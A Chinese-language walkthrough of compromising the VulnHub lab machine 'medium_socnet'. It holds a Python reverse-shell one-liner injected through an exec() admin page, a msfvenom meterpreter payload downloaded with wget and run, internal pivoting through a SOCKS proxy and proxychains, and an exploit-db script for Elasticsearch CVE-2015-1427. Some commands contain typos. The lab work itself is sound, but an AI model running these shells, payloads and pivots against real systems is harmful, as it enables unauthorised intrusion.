靶机: medium_socnet

靶机: medium_socnet

准备工作

需要你确定的事情:

  • 确定 kali 已经安装,并且能正常使用【本文不涉及 kali 安装配置】
  • VirtualBox 以前能正常导入虚拟文件 ova 能正常使用
  • 下载靶机: https://www.vulnhub.com/entry/boredbackerblog-social-network,454/ 如果下载过慢可以使用下载器【迅雷、Mortrix ...】,下载后需要进行 SHA1 或 MD5 验证 确定下载文件是否 有损或被篡改

靶机安装时部分错误解决方法【注:安装于 VirtualBox 】

  • 网络设置为 仅主机模式 (Host-only)

  • 使用 VirtualBox 启动虚拟机系统时碰到“不能为虚拟电脑打开一个新的任务”的错误提示,并提示 Implementation of the USB 2.0 controller not found!

    Implementation of the USB 2.0 controller not found!
    
    Because the USB 2.0 controller state is part of the saved VM state, the VM cannot be started. To fix this problem, either install the 'Oracle VM VirtualBox Extension Pack' or disable USB 2.0 support in the VM settings.
    
    Note! This error could also mean that an incompatible version of the 'Oracle VM VirtualBox Extension Pack' is installed (VERR_NOT_FOUND).
    

    解决方法是在 设置 --> USB设备: 「USB 1.1 控制器」

Kali 网络配置:

  • kali 在 VMware 上配置双网卡:桥接模式 + NAT模式;使用 VMware 虚拟网络编辑器【以管理员身份打开】:将桥接模式的网卡 VMnet0 的桥接(G) 到 VirtualBox 网卡

    • 网络适配器1:配置为桥接模式
    • 网络适配器2:NAT模式
  • kali 在 VirtualBox 上配置双网卡:Host-only模式 + NAT模式;在 kali 的设置中网络选项

    • 网卡1:Host-only模式 (仅主机模式)
    • 网卡2:NAT模式

    两种位置,最后都要打开 kali 进行调试,如果不会 vim 先查看一下使用方法避免错误操作

    # 在命令行,使用前确定你是否是 root 如果不是需要添加 sudo
    vim /etc/network/interfaces
    

    vim 写入内容【 interfaces 文件最后】

    auto eth1
    iface eth1 inet dhcp
    

    退出 vim 后在 命令行中

    # 重启网络服务
    service networking restart
    
    # 查看网络配置,确认 eth0 与 eth1 的 ip 配置是否正常
    ip a
    

    如果在 ip a 有部分问题可以重启 kali 再查看,如果网络配置依旧有问题,建议学习一下 Linux 网络配置的基本知识

开始打靶

第一步:锁定目标

可以使用 arp-scan 一类扫描工具,在使用工具前都需要 注意自身权限问题 ,必要时使用 sudo

  • arp-scan: 使用命令 arp-scan -l 扫描

    • 此命令是默认扫描,通过 eth0 进行的,如果你配置网络时 kali 与 靶机对接的网络是 eth1 需要指定扫描的接口 使用 --interface= 参数,此参数可以简写 I

      arp-scan -l --interface=eth1
      
      # 或者
      arp-scan -l -I eth1
      

通过 arp-scan 扫描得到信息:

┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
Interface: eth1, type: EN10MB, MAC: 08:00:27:f1:f5:a6, IPv4: 192.168.56.103
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:ef:45:40       PCS Systemtechnik GmbH
192.168.56.101  08:00:27:ff:2c:c8       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.7: 256 hosts scanned in 2.294 seconds (111.60 hosts/sec). 3 responded                                                              

第二步:端口扫描

我们可以大概锁定以下目标,使用 nmap 进行对端口进行探索

192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:ef:45:40       PCS Systemtechnik GmbH
192.168.56.101  08:00:27:ff:2c:c8       PCS Systemtechnik GmbH
  • nmap: 比较简单的用法 nmap IP地址

    • 参数 -p 扫描端口,如果是全部端口使用 - 指代,比如:nmap -p- 192.168.56.101
    • 参数 -sV 对端口上的服务程序版本进行扫描

在扫描中发现 192.168.56.101 开发端口 22,5000

┌──(kali㉿kali)-[~]
└─$ nmap -p- 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:24 CST
Nmap scan report for 192.168.56.101
Host is up (0.0011s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
5000/tcp open  upnp

Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds

192.168.56.101 开发端口 22,5000 进一步扫描发现两个端口的服务程序版本

  • 22: ssh OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
  • 5000: http Werkzeug httpd 0.14.1 (Python 2.7.15)
┌──(kali㉿kali)-[~]
└─$ nmap -p22,5000 -sV 192.168.56.101
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-18 11:31 CST
Nmap scan report for 192.168.56.101
Host is up (0.00078s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.81 seconds      

其中 5000 有 http 服务可以尝试在浏览器中访问一下 http://192.168.56.101:5000

  • 在网页中并没有什么特别的,唯一有的一个数据输入点上也不能注入
  • 可以使用爬虫类程序,探查 Web 应用是否存在 隐藏路径

第三步:攻击方式判断

使用工具 dirsearch 进行探查

  • dirsearch 的基本参数 --url=,比如:dirsearch --url=http://192.168.56.101:5000/

使用 dirsearch 进行简单探查发现隐藏目录 /admin 其中 admin 英文含义就可以知道这个隐藏页面与管理员可能有关系,可以对其访问 http://192.168.56.101:5000/admin

┌──(kali㉿kali)-[~]
└─$ dirsearch --url=http://192.168.56.101:5000/                                                                               130 ⨯

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                                    
 (_||| _) (/_(_|| (_| )                                                                                                             
                                                                                                                                    
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/kali/.dirsearch/reports/192.168.56.101-5000/-_22-10-18_11-40-29.txt

Error Log: /home/kali/.dirsearch/logs/errors-22-10-18_11-40-29.log

Target: http://192.168.56.101:5000/

[11:40:29] Starting: 
[11:40:58] 200 -  401B  - /admin                                            
                                                                             
Task Completed                                                                                                                      

访问后发现,里面的提示 Nothing was ran. Input some code to exec() 此内容与 python 相关,在前面端口探测中也知道此网站是 Werkzeug httpd 0.14.1 (Python 2.7.15)

而 Python 2.7.15 的 exec() 常用于存储在字符串中的代码语句执行,那么我们可以尝试查找关于 Python 2.7.15 反弹 shell 的代码,通过 exec() 进入 192.168.56.101 这台机器了

  • Python 2.7.15 反弹 shell

    • 首先我们需要开启 kali 的监听,监听可以使用命令 netcat 也可以使用简化命令 nc

      netcat 部分参数

      • -l 侦听模式,用于入站连接
      • -n 禁止名称/端口解析
      • -p 端口本地端口号,端口号可以是单独的,也可以是范围
      • -v 信息细化,连用两次可以获得更详细的信息
      # 使用端口注意,建议使用端口是 1024~49151 范围以内
      # 公认端口:0~1023
      # 注册端口:1024~49151
      # 动态端口:49152~65535
      netcat -lnvp 23333
      
    • http://192.168.56.101:5000/admin 页面内容注入 python 代码

      import os,subprocess,socket
      
      # 创建套接字 
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)      # socket.AF_INET代表使用IPv4协议,socket.SOCK_STREAM 代表使用面向流的Tcp协议
      
      # 创建通信
      s.connect(('192.168.56.103',23333))
      
      # 重定向,保障通信的输入与输出
      os.dup2(s.fileno(),0)
      os.dup2(s.fileno(),1)
      os.dup2(s.fileno(),2)
      
      # 生成反弹的 shell 
      p=subprocess.call(["/bin/sh","-i"])
      
      # 使用时压缩上面的代码,以便 exec() 执行
      import os,subprocess,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.56.103',23333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
      

    最终得到响应的反射 shell 结果,从此处我们就可以控制 192.168.56.101 这台机器了,并且有 root 级别权限

    ┌──(kali㉿kali)-[~]
    └─$ netcat -lnvp 23333
    listening on [any] 23333 ...
    connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933
    /app # ls
    Dockerfile
    main.py
    requirements.txt
    templates
    /app # id
    uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
    

但我们还需要进一步深入探索,排除是否处在容器或蜜罐陷阱中

内网渗透

挖掘潜在价值

首先探索一下目录内容,查看是否有什么特别的

┌──(kali㉿kali)-[~]
└─$ netcat -lnvp 23333
listening on [any] 23333 ...
connect to [192.168.56.103] from (UNKNOWN) [192.168.56.101] 36933
/app # ls
Dockerfile
main.py
requirements.txt
templates
/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
/app # cat ./Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine
COPY . /app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "/app/main.py"]

发现其中有 Dockerfile 文件,查看里面的 发现我们可能处在容器中

  • 查看根目录中是否存在 .dockerenv 文件
  • 查看 /proc/1/cgroup 中的内容是否大量与 docker 有关
/app # ls /.dockerenv
/.dockerenv
/app # cat /proc/1/cgroup
11:hugetlb:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
10:perf_event:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
9:blkio:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
8:freezer:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
7:devices:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
6:memory:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
5:cpuacct:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
4:cpu:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
3:cpuset:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca
2:name=systemd:/docker/2ac6a5716e88df30b64d20451fa9238622c75e3a5cc7c7a873c39920661cdaca

自此已经有相当大的把握确定我们处在容器中

服务代理

内网流量代理

  • 正向代理 (Forward Proxy) 通常应用在目标有防火墙或者不出网,我们能访问它的情况下:Client -> proxy -> Target
  • 反向代理 (Reverse Proxy) 通常应用在目标有防火墙或者不允许外界访问,但是它们能访问我们的情况下:Client <--> proxy <--> firewall <--> Target

代理需要关注 Socks 协议,代理工具一般的版本支持

  • SOCKS4: 支持TELNET、FTPHTTP等TCP协议
  • SOCKS5: 支持TCP与UDP,并支持安全认证方案

代理工具

  • 端口转发工具:NC, LCX, regGorg, venom, ngrock ...
  • 代理链工具:proxychains(Linux), proxifier(windows) ...

MSF 内网穿透

本处我们使用 MSF 进行内网穿透,如果没有 kali 安装命令 sudo apt-get install metasploit-framework

  • 首页使用 msfvenom 生成 linux/x64/meterpreter/reverse_tcp 模块的木马

    msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.56.103 lpost=4444 -f elf -o s.elf
    
  • 上传生成的木马 shell.elf 通过在本地当前目录【shell.elf 所在的目录】使用 python3 -m http.server 80 挂起一个 HTTP 服务

  • 在目标容器系统中使用 wget 命令 [wget httlp://kali的ip地址/shell.elf] 下载本地的 shell.elf 之后使用 ls 命令确认其存在

  • 在 kali 上使用 msfconsole 命令后执行下列代码 > 挂起kali本地自己 192.168.56.103:4444 的监听

    msf6 > use exploit/multi/handler
    [*] Using configured payload generic/shell_reverse_tcp
    msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
    payload => linux/x64/meterpreter/reverse_tcp
    msf6 exploit(multi/handler) > set lhost 192.168.56.103
    lhost => 192.168.56.103
    msf6 exploit(multi/handler) > set lport 4444
    lport => 4444
    msf6 exploit(multi/handler) > run
    
  • 在目标容器系统中改 shell.elf 文件权限,使其可以执行并将其执行,也可以 chmod +x ./shell.elf && ./shell.elf 之后查看 kali 是否响应

    /app # chmod +x ./shell.elf
    /app # ./shell.elf
    

在响应后使用 shell 调用目标容器系统 shell 进行简单的探查,比如使用 ip a 查看目标容器系统的内网状态,确定其内网网段 172.17.0.3/16 后使用 exit; 退出

```txt
[*] Started reverse TCP handler on 192.168.56.103:4444 
[*] Sending stage (3045348 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.103:4444 -> 192.168.56.101:36424) at 2022-10-19 17:38:38 +0800

meterpreter > shell
Process 18 created.
Channel 1 created.

ls
Dockerfile
main.py
requirements.txt
shell.elf
templates
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
6: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:03 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.3/16 brd 172.17.255.255 scope global eth0
    valid_lft forever preferred_lft forever
exit
```
  • 将获取的网段 172.17.0.3/16 -> 172.17.0.0/16 添加路由 run autoroute -s 172.17.0.0/16 命令,查看是否成功添加 run autoroute -p

    meterpreter > run autoroute -s 172.17.0.0/16
    
    [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
    [!] Example: run post/multi/manage/autoroute OPTION=value [...]
    [*] Adding a route to 172.17.0.0/255.255.0.0...
    [+] Added route to 172.17.0.0/255.255.0.0 via 192.168.56.101
    [*] Use the -p option to list all active routes
    meterpreter > run autoroute -p
    
    [!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
    [!] Example: run post/multi/manage/autoroute OPTION=value [...]
    
    Active Routing Table
    ====================
    
    Subnet             Netmask            Gateway
    ------             -------            -------
    172.17.0.0         255.255.0.0        Session 1
    
  • 创建成功之后我们将当前的会话挂起,使用 background 是将当前 msf 会话挂起,想重新利用会话使用 sessions -i 其中 i 是会话编号

    meterpreter > background
    [*] Backgrounding session 1...
    

好的,我们已经完成了最重要的一般,接下来是 socks 代理

  • 继续前面的,使用 use auxiliary/server/socks_proxy 进入代理模块

    • 设置服务版本 set VERSION 4a
    • 设置 IP set SRVHOST Kali的IP
    • 查看配置是否正确 show options
    • 收尾 exploit
    msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy
    msf6 auxiliary(server/socks_proxy) > set VERSION 4a
    VERSION => 4a
    msf6 auxiliary(server/socks_proxy) > set SRVHOST 192.168.56.103
    SRVHOST => 192.168.56.103
    msf6 auxiliary(server/socks_proxy) > show options
    
    Module options (auxiliary/server/socks_proxy):
    
    Name     Current Setting  Required  Description
    ----     ---------------  --------  -----------
    SRVHOST  192.168.56.103   yes       The local host or network interface to listen on. This must be an address on the l
                                        ocal machine or 0.0.0.0 to listen on all addresses.
    SRVPORT  1080             yes       The port to listen on
    VERSION  4a               yes       The SOCKS version to use (Accepted: 4a, 5)
    
    
    Auxiliary action:
    
    Name   Description
    ----   -----------
    Proxy  Run a SOCKS proxy server
    
    
    msf6 auxiliary(server/socks_proxy) > exploit
    [*] Auxiliary module running as background job 0.
    
    [*] Starting the SOCKS proxy server
    
  • 下一步,配置本地 proxychains 代理链工具【先确定是否安装,推荐使用新的 proxychains4】,上面的 shell 不用关闭,再开一个 kali 的 shell 并且在新的命令行使用命令,配置 proxychains 的代理列表添加 socks4 [上面 set SRVHOST 的 IP 地址] [上面的 SRVPORT]

    touch proxychains.conf      # 创建目录级的 proxychains 配置文件,我们不污染系统级的配置文件
    sudo cat /etc/proxychains4.conf > ./proxychains.conf    # 将系统级的配置文件复刻到当前目录的配置文件 proxychains.conf
    vim ./proxychains.conf      # 只需要修改最后一行 socks4 127.0.0.1 9050 改为 socks4 192.168.56.103 1080
    
  • 完成整个代理步骤后可以通过 proxychainsproxychains4 作为其他命令前缀探索内网,但我们使用的是目录级 proxychains 配置文件实验需要使用 -f 参数指定配置文件

    proxychains4 -f ./proxychains.conf nmap -Pn -sT 172.17.0.0/24   # 172.17.0.0/24 是目标容器系统的内网网段,扫描过程中可能会比较费时【段扫描数量太大】
    

    我们使用之前 msf 的那个 shell 执行 sessions -1 回到之前的挂起的会话,使用 arp a 简单说明判断其他存活的 ip

    meterpreter > arp -a
    
    ARP cache
    =========
    
        IP address  MAC address        Interface
        ----------  -----------        ---------
        172.17.0.1  02:42:e9:66:7d:b6
    

    用 proxychains 的那个 shell 执行 nmap 扫描 172.17.0.1

    ┌──(kali㉿kali)-[~/Workspace]
    └─$ proxychains4 -f ./proxychains.conf nmap 172.17.0.1 
    [proxychains] config file found: ./proxychains.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 19:15 CST
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:80 <--denied
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:25 <--denied
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:993 <--denied
    ......
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:555 <--denied
    [proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:2047 <--denied
    Nmap scan report for 172.17.0.1
    Host is up (0.0074s latency).
    Not shown: 998 closed tcp ports (conn-refused)
    PORT     STATE SERVICE
    22/tcp   open  ssh
    5000/tcp open  upnp
    
    Nmap done: 1 IP address (1 host up) scanned in 11.28 seconds
    

开始正餐

行好,我们已经可以在目标容器内网使用 kali 了,下面我们真正的目标发起攻击

┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -p22,5000 -Pn -sT -sV 172.17.0.1                                         255 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:24 CST
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:22  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:22  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.1:5000  ...  OK
Nmap scan report for 172.17.0.1
Host is up (0.033s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Werkzeug httpd 0.14.1 (Python 2.7.15)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.81 seconds                                   
  • 发现与我们之前的目标容器非常相似,我们可以使用 firefox 设置代理访问 http://172.17.0.1:5000 浏览器代理方法自行百度,重点使用手动配置代理配置 SOCKS 主机 与前面 proxychains.conf 一致
  • 访问网页的结果与之前的相同,可以判断 172.17.0.1 便是之前 192.168.56.101 的宿主机

测试探索 172.17.0.2

┌──(kali㉿kali)-[~/Workspace]
└─$ proxychains4 -f ./proxychains.conf nmap -Pn -sT -sV 172.17.0.2                                                   130 ⨯
[proxychains] config file found: ./proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-19 20:39 CST
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.2:1720 <--denied
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.2:1025 <--denied
......
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.2:9200  ...  OK
[proxychains] Strict chain  ...  192.168.56.103:1080  ...  172.17.0.2:9200  ...  OK
Nmap scan report for 172.17.0.2
Host is up (0.0066s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
9200/tcp open  http    Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.58 seconds
  • 发现新线索,172.17.0.2 的 9200 端口开启,运行服务 Elasticsearch REST API 1.4.2 (name: Watcher; cluster: elasticsearch; Lucene 4.10.2) 说明:Elasticsearch 是位于 Elastic Stack 核心的分布式搜索和分析引擎

  • 此处我们可以使用 searchsploit 查询 Elasticsearch 相关漏洞并尝试,攻入其中

    ──(kali㉿kali)-[~/Workspace]
    └─$ searchsploit Elasticse                                                                                           130 ⨯
    ----------------------------------------------------------------------------------------- ---------------------------------
    Exploit Title                                                                           |  Path
    ----------------------------------------------------------------------------------------- ---------------------------------
    ElasticSearch - Remote Code Execution                                                    | linux/remote/36337.py
    ElasticSearch - Remote Code Execution                                                    | multiple/webapps/33370.html
    ElasticSearch - Search Groovy Sandbox Bypass (Metasploit)                                | java/remote/36415.rb
    ElasticSearch 1.6.0 - Arbitrary File Download                                            | linux/webapps/38383.py
    ElasticSearch 7.13.3 - Memory disclosure                                                 | multiple/webapps/50149.py
    ElasticSearch < 1.4.5 / < 1.5.2 - Directory Traversal                                    | php/webapps/37054.py
    ElasticSearch Dynamic Script - Arbitrary Java Execution (Metasploit)                     | java/remote/33588.rb
    Elasticsearch ECE 7.13.3 - Anonymous Database Dump                                       | multiple/webapps/50152.py
    ----------------------------------------------------------------------------------------- ---------------------------------
    Shellcodes: No Results             
    
  • 尝试一个 /usr/share/exploitdb/exploits/linux/remote/36337.py 但注意是否安装 python2 以及其 requests 如果没有使用以下代码

    sudo apt-get install python2    # 安装 python2
    wget https://bootstrap.pypa.io/pip/2.7/get-pip.py && python2 get-pip.py     # 安装 python2 的 pip2 如果有就跳过此步
    python2 -m pip install requests     # 安装 requests 包
    proxychains4 -f ./proxychains.conf python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2  # 利用 36337.py 脚本
    

    进入其中

    ──(kali㉿kali)-[~/Workspace]
    └─$ proxychains4 -f ./proxychains.conf python2 36337.py 172.17.0.2
    [proxychains] config file found: ./proxychains.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    
    ▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓                                
    ▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒                                
    ▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░                                
    ▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░                                
    ░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒                            
    ░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░                            
    ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░                            
    ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░                               
    ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░                            
                                                ░                                                                            
    Exploit for ElasticSearch , CVE-2015-1427   Version: 20150309.1                                                           
    {*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
    ~$ 
    

    可以看到下面报错了,查看错误是 ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞(CVE-2015-1427) 想要要利用需要先查询时至少要求es中有一条数据,所以发送如下数据包,增加一个数据

    ┌──(kali㉿kali)-[~/Workspace]
    └─$ proxychains python2 a.py 172.17.0.2                                               
    [proxychains] config file found: /etc/proxychains4.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    
    ▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓                         
    ▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒                         
    ▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░                         
    ▒▓█  ▄ ▒██░   ░██▄▄▄▄██   ▒   ██▒░ ▓██▓ ░ ░██░▒▓▓▄ ▄██▒  ▒   ██▒░▓█ ░██ ▒▓█  ▄ ▒██░    ▒██░                         
    ░▒████▒░██████▒▓█   ▓██▒▒██████▒▒  ▒██▒ ░ ░██░▒ ▓███▀ ░▒██████▒▒░▓█▒░██▓░▒████▒░██████▒░██████▒                     
    ░░ ▒░ ░░ ▒░▓  ░▒▒   ▓▒█░▒ ▒▓▒ ▒ ░  ▒ ░░   ░▓  ░ ░▒ ▒  ░▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ▒░▓  ░░ ▒░▓  ░                     
    ░ ░  ░░ ░ ▒  ░ ▒   ▒▒ ░░ ░▒  ░ ░    ░     ▒ ░  ░  ▒   ░ ░▒  ░ ░ ▒ ░▒░ ░ ░ ░  ░░ ░ ▒  ░░ ░ ▒  ░                     
    ░     ░ ░    ░   ▒   ░  ░  ░    ░       ▒ ░░        ░  ░  ░   ░  ░░ ░   ░     ░ ░     ░ ░                        
    ░  ░    ░  ░     ░  ░      ░            ░  ░ ░            ░   ░  ░  ░   ░  ░    ░  ░    ░  ░                     
                                                ░                                                                     
    Exploit for ElasticSearch , CVE-2015-1427   Version: 20150309.1                                                    
    {*} Spawning Shell on target... Do note, its only semi-interactive... Use it to drop a better payload or something
    ~$ id
    [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:9200  ...  OK
    uid=0(root) gid=0(root) groups=0(root)
    ~$ 
    
    

    使用 curl 在 Elasticsearch 添加一条数据 curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'

    ┌──(kali㉿kali)-[~/Workspace]
    └─$ proxychains curl -XPOST 'http://172.17.0.2:9200/doc/test' -d '{ "name" : "lupin"}'                          1 ⨯
    [proxychains] config file found: /etc/proxychains4.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    [proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.17.0.2:9200  ...  OK
    {"_index":"doc","_type":"test","_id":"AYP5xrq3R3Be1eJ72Xz3","_version":1,"created":true}                                       
    
    ┌──(kali㉿kali)-[~/Workspace]
    └─$ proxychains python2 a.py 172.17.0.2                                               
    [proxychains] config file found: /etc/proxychains4.conf
    [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
    [proxychains] DLL init: proxychains-ng 4.16
    
    ▓█████  ██▓    ▄▄▄        ██████ ▄▄▄█████▓ ██▓ ▄████▄    ██████  ██░ ██ ▓█████  ██▓     ██▓                         
    ▓█   ▀ ▓██▒   ▒████▄    ▒██    ▒ ▓  ██▒ ▓▒▓██▒▒██▀ ▀█  ▒██    ▒ ▓██░ ██▒▓█   ▀ ▓██▒    ▓██▒                         
    ▒███   ▒██░   ▒██  ▀█▄  ░ ▓██▄   ▒ ▓██░ ▒░▒██▒▒▓█    ▄ ░ ▓██▄   ▒██▀▀██░▒███   ▒██░    ▒██░                         
